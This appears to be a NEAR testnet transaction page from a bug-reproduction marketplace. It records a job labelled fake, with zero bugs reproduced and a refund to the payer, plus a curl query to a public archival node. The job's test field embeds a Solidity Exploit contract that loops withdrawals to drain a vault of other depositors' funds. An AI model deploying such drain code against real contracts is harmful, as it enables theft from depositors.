Reading from NEAR testnet…
Reading from NEAR testnet…
Ax1cJhvY8VkoEJn5m7gF7mQ5tdoi6U6Xh7pDpMAuypUP
guard.repro-1101-owner.testnet to ledger.repro-1101-owner.testnet
record_job()
{
"job_id": "pg-mwgueej1-fake",
"supplier": "sup.repro-1101-owner.testnet",
"price": "20000000000000000000000",
"supplier_cost": "0",
"inference_cost": "0",
"bugs_claimed": 1,
"bugs_reproduced": 0,
"evidence": "882b6d8444a57ef5fa04ac136bf458b3acf26e370e311e777fa48f87004651f3",
"repo": "https://github.com/CryptoInnovators/near-repro",
"base_ref": "da8dcc0f899221265d5ee9fc9f90315be30b2d73",
"head_ref": "da8dcc0f899221265d5ee9fc9f90315be30b2d73",
"base_tree": "d2b1a407d0cd1fb5e3695c3a93cf998f51694f31",
"head_tree": "d12171ede30451f0554ba2aec75a91bf36a511e7",
"test": "// Repro Rescue claim NoopClaim against vault 0xad57c5bb698ee89fb0de3e83cb2737ed8205cb38 on Sepolia (asserts nothing)\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.24;\n\ninterface IGuardVault {\n function deposit() external payable;\n function withdraw(uint256 amount) external;\n}\n\n// Claim: withdraw() does not debit the caller's balance, so one deposit can be withdrawn\n// repeatedly and drains other depositors. attack() returns what the caller gained beyond its own deposit.\ncontract Exploit {\n function attack(IGuardVault v) external payable returns (uint256 gained) {\n uint256 before = address(this).balance - msg.value;\n v.deposit{value: msg.value}();\n uint256 rounds = address(v).balance / msg.value;\n for (uint256 i = 0; i < rounds; i++) v.withdraw(msg.value);\n gained = address(this).balance - before - msg.value;\n }\n\n receive() external payable {}\n}\n\n// A claim that asserts nothing: an honest deposit and one matching withdrawal.\ncontract NoopClaim {\n function attack(IGuardVault v) external payable returns (uint256 gained) {\n uint256 before = address(this).balance - msg.value;\n v.deposit{value: msg.value}();\n v.withdraw(msg.value);\n gained = address(this).balance - before - msg.value;\n }\n\n receive() external payable {}\n}\n",
"verdict_sig": "319779d812eacab2b4bb6c64cc70483c4065baad4fa63741b5c00c1440fc307088f4fe4f847949da45d0f17d89e2290825fb9d95818e943ba5604886c71bd90d"
}EVENT_JSON:{"standard":"repro","event":"job_recorded","data":[{"job_id":"pg-mwgueej1-fake","bugs_claimed":1,"bugs_reproduced":0,"evidence":"882b6d8444a57ef5fa04ac136bf458b3acf26e370e311e777fa48f87004651f3","loss":"0","refund":"20000000000000000000000","revenue":"0","supplier_paid":"0"}]}ledger.repro-1101-owner.testnet to payer.repro-1101-owner.testnet
Transfer with 0.0200 NEAR
ledger.repro-1101-owner.testnet to ledger.repro-1101-owner.testnet
on_refund_sent()
{
"job_id": "pg-mwgueej1-fake",
"refund": "20000000000000000000000"
}3 automatic refund steps from the network not shown.
This page reads FastNEAR's public transaction index and stores nothing. This command asks a NEAR archival node for the same transaction and needs no keys.
curl -s https://archival-rpc.testnet.fastnear.com -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":1,"method":"tx","params":{"tx_hash":"Ax1cJhvY8VkoEJn5m7gF7mQ5tdoi6U6Xh7pDpMAuypUP","sender_account_id":"guard.repro-1101-owner.testnet","wait_until":"FINAL"}}'Vouch has its own page because testnet.nearblocks.io stopped indexing on 27 Sep 2026, so it can't show newer transactions.